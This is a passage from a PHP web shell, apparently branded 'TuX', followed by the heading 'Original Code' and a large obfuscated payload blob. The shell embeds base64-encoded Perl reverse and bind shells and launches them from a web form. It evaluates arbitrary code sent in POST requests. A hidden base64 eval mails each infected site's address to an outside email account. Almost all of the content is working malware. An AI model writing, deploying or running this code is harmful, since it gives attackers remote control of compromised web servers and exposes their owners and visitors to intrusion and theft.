$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
$fxbuff = "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsKaWYgKCR2aXNpdGMgPT0gIiIpIHsKICAkdmlzaXRjICA9IDA7CiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsKICAkd2ViICAgICA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsKICAkaW5qICAgICA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOwogICR0YXJnZXQgID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7CiAgJGp1ZHVsICAgPSAiU2hlbGwgaHR0cDovLyR0YXJnZXQgYnkgJHZpc2l0b3IiOwogICRib2R5ICAgID0gIkJ1ZzogJHRhcmdldCBieSAkdmlzaXRvcjxicj4iOwogIGlmICghZW1wdHkoJHdlYikpIHsgQG1haWwoIm1haWxhczYzNkB5bWFpbC5jb20iLCRqdWR1bCwkYm9keSk7IH0KfQplbHNlIHsgJHZpc2l0YysrOyB9CkBzZXRjb29raWUoInZpc2l0eiIsJHZpc2l0Yyk7"; eval(base64_decode($fxbuff));
$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
echo "<h1>Network tools</h1><div class=content>
<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
<span>Bind port to /bin/sh [perl]</span><br/>
Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
</form>
<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
<span>Back-connect [perl]</span><br/>
Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
</form><br>";
if(isset($_POST['p1'])) {
function cf($f,$t) {
$w = @fopen($f,"w") or @function_exists('file_put_contents');
if($w){
@fwrite($w,base64_decode($t));
@fclose($w);
}
}
if($_POST['p1'] == 'bpp') {
cf("/tmp/bp.pl",$bind_port_p);
$out = TuXEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
echo "<pre class=ml1>$out
".TuXEx("ps aux | grep bp.pl")."</pre>";
unlink("/tmp/bp.pl");
}
if($_POST['p1'] == 'bcp') {
cf("/tmp/bc.pl",$back_connect_p);
$out = TuXEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
echo "<pre class=ml1>$out
".TuXEx("ps aux | grep bc.pl")."</pre>";
unlink("/tmp/bc.pl");
}
}
echo '</div>';
TuXFooter();
}
function actionRC() {
if(!@$_POST['p1']) {
$a = array(
"uname" => php_uname(),
"php_version" => phpversion(),
"TuX_version" => TuX_VERSION,
"safemode" => @ini_get('safe_mode')
);
echo serialize($a);
} else {
eval($_POST['p1']);
}
}
if( empty($_POST['a']) )
if(isset($default_action) && function_exists('action' . $default_action))
$_POST['a'] = $default_action;
else
$_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
call_user_func('action' . $_POST['a']);
exit;
?>
Did this file decode correctly?
Original Code
$QF947F925BD6EC825CA02F35B9B5AAF1E="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